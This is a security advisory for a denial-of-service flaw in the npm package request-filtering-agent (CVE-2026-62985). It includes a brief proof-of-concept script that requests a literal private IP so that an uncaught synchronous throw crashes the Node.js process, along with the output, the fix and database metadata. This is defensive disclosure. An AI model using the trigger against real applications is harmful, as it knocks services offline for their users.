GHSA-R3R9-WP5J-PQ5G
Vulnerability from github – Published: 2026-09-22 19:54 – Updated: 2026-09-22 19:54Summary
RequestFilteringHttpAgent / RequestFilteringHttpsAgent block requests to private IPs, but the blocking happens via a synchronous throw inside createConnection() for literal private-IP hostnames (e.g. 169.254.169.254, 127.0.0.1). Node.js's http.request / http.get expects createConnection to emit an error asynchronously; a synchronous throw instead escapes the caller's req.on('error', ...) handler entirely and becomes an unhandled exception that crashes the process.
Affected
request-filtering-agent <= 3.2.0 (latest).
PoC (replicated live on 3.2.0)
const http = require('http');
const { RequestFilteringHttpAgent } = require('request-filtering-agent');
const agent = new RequestFilteringHttpAgent();
process.on('uncaughtException', e => {
console.log('CRASH:', e.message); // fires — process dies
});
const req = http.get({ hostname: '169.254.169.254', port: 80, agent });
req.on('error', e => { /* never reached for literal IPs */ });
Actual output:
request-filtering-agent@3.2.0 synchronous throw escaping error event:
UNCAUGHT EXCEPTION (process crash): DNS lookup 169.254.169.254(...) is not allowed. Because, It is private IP address.
*** CRASH CONFIRMED: createConnection throws sync, bypasses req.on("error") ***
Note: hostnames that resolve to private IPs (e.g. localhost) are handled via the async lookup path and correctly emit an error event — this asymmetry confirms the sync-throw is a defect.
Impact
Any application using request-filtering-agent where an attacker can trigger an HTTP request to a literal private-IP (e.g. from a user-supplied URL that is pre-validated but still reaches http.get) will crash the Node.js process — full DoS.
Fix
Instead of throwing synchronously in createConnection(), call callback(error) (the Node.js net.createConnection error-callback convention) or use process.nextTick(() => socket.destroy(error)) on the returned socket to emit the error asynchronously, allowing req.on('error') to handle it.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "request-filtering-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62985"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T19:54:18Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`RequestFilteringHttpAgent` / `RequestFilteringHttpsAgent` block requests to private IPs, but the blocking happens via a **synchronous `throw`** inside `createConnection()` for literal private-IP hostnames (e.g. `169.254.169.254`, `127.0.0.1`). Node.js\u0027s `http.request` / `http.get` expects `createConnection` to emit an error asynchronously; a synchronous throw instead escapes the caller\u0027s `req.on(\u0027error\u0027, ...)` handler entirely and becomes an **unhandled exception** that crashes the process.\n\n### Affected\n`request-filtering-agent` \u003c= 3.2.0 (latest).\n\n### PoC (replicated live on 3.2.0)\n```js\nconst http = require(\u0027http\u0027);\nconst { RequestFilteringHttpAgent } = require(\u0027request-filtering-agent\u0027);\nconst agent = new RequestFilteringHttpAgent();\nprocess.on(\u0027uncaughtException\u0027, e =\u003e {\n console.log(\u0027CRASH:\u0027, e.message); // fires \u2014 process dies\n});\nconst req = http.get({ hostname: \u0027169.254.169.254\u0027, port: 80, agent });\nreq.on(\u0027error\u0027, e =\u003e { /* never reached for literal IPs */ });\n```\nActual output:\n```\nrequest-filtering-agent@3.2.0 synchronous throw escaping error event:\nUNCAUGHT EXCEPTION (process crash): DNS lookup 169.254.169.254(...) is not allowed. Because, It is private IP address.\n*** CRASH CONFIRMED: createConnection throws sync, bypasses req.on(\"error\") ***\n```\nNote: hostnames that resolve to private IPs (e.g. `localhost`) are handled via the async lookup path and correctly emit an error event \u2014 this asymmetry confirms the sync-throw is a defect.\n\n### Impact\nAny application using `request-filtering-agent` where an attacker can trigger an HTTP request to a literal private-IP (e.g. from a user-supplied URL that is pre-validated but still reaches `http.get`) will crash the Node.js process \u2014 full DoS.\n\n### Fix\nInstead of throwing synchronously in `createConnection()`, call `callback(error)` (the Node.js `net.createConnection` error-callback convention) or use `process.nextTick(() =\u003e socket.destroy(error))` on the returned socket to emit the error asynchronously, allowing `req.on(\u0027error\u0027)` to handle it.",
"id": "GHSA-r3r9-wp5j-pq5g",
"modified": "2026-09-22T19:54:18Z",
"published": "2026-09-22T19:54:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/azu/request-filtering-agent/security/advisories/GHSA-r3r9-wp5j-pq5g"
},
{
"type": "WEB",
"url": "https://github.com/azu/request-filtering-agent/commit/9d12561064524807fc399158eaa5bd7a40dd8cd0"
},
{
"type": "PACKAGE",
"url": "https://github.com/azu/request-filtering-agent"
},
{
"type": "WEB",
"url": "https://github.com/azu/request-filtering-agent/releases/tag/v3.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "request-filtering-agent: Synchronous throw from createConnection() for literal private-IP hosts bypasses req.on(\u0027error\u0027), crashing the Node.js process"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.